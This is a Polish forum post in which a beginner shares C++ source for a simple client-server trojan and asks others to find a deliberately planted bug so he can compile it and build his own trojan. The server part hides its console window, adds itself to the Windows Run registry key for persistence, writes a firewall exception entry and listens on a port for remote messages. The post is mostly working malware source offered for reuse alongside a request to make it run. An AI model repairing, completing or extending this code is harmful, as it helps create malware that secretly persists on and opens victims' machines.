Witam. Znalazłem w internecie kod źródłowy jakiegoś trojana napisanego w C++ W kodzie został celowo umieszczony jakiś błąd logiczny, żeby osoby nie znające języka nie mogły go skompilować. Dopiero się uczę i nie potrafię rozszyfrować gdzie znajduje się ten błąd, a chciałem napisać swojego trojana używajać gotowego kodu i samodzielnie dodając nowe funkcje. Mógłby mi ktoś powiedzieć, w którym miejscu znajduje się błąd i jak go poprawić?
Klient:
Kod:
#include <winsock.h>
#include <string>
#include <iostream>
using namespace std;
WSADATA wsadata;
struct hostent *serwer;
SOCKET klient;
SOCKADDR_IN adres;
int main()
{
WSAStartup(MAKEWORD(2,2), &wsadata);
klient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
string adresip, wiadomosc;
cout << "Polacz z: ";
getline(cin, adresip);
int PORT = 44777;
int dziennik_bledow;
adres.sin_family = AF_INET;
adres.sin_port = htons(PORT);
adres.sin_addr.s_addr = inet_addr(adresip.c_str());
dziennik_bledow = connect(klient, (struct sockaddr*)&adres, sizeof(adres));
while(1)
{
cout << "Podaj tresc wiadomosc jaka ma byc wyswietlona na serwerze: ";
getline(cin, wiadomosc);
dziennik_bledow = send(klient, wiadomosc.c_str(), wiadomosc.length(), 0);
if(dziennik_bledow == SOCKET_ERROR)
cout << "\t\v\a Blad wysylania danych do serwera!" << endl;
else cout << "\t\v Wyslano! " << endl;
Sleep(10);
}
getchar();
}
Serwer:
Kod:
#include <winsock.h>
#include <string>
#include <iostream>
#include <windows.h>
using namespace std;
WSADATA wsadata;
SOCKET klient, nasluch;
SOCKADDR_IN adres, adres_klienta;
string tresc, wartosc;
char wiadomosc[512];
int main()
{
HWND okno = FindWindow("ConsoleWindowClass", 0);
ShowWindow(okno, SW_HIDE);
HKEY klucz;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz);
RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0]));
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz);
wartosc = argv[0];
wartosc += ":*:Enabled:";
wartosc += argv[0];
RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));
WSAStartup(MAKEWORD(2,2), &wsadata);
nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
int PORT = 44777;
int adres_dlugosc;
adres.sin_family = AF_INET;
adres.sin_port = htons(PORT);
adres.sin_addr.s_addr = htonl(INADDR_ANY);
bind(nasluch, (struct sockaddr*)&adres, sizeof(adres));
listen(nasluch, 10);
adres_dlugosc = sizeof(adres_klienta);
klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);
while(1)
{
for(int i = 0 ; i < sizeof(wiadomosc) ; i++)
{
char c[1] = "";
wiadomosc[i] = c[0];
}
recv(klient, wiadomosc, sizeof(wiadomosc), 0);
tresc = wiadomosc;
if(tresc != "")
MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR);
}
closesocket(klient);
WSACleanup();
return 0;
}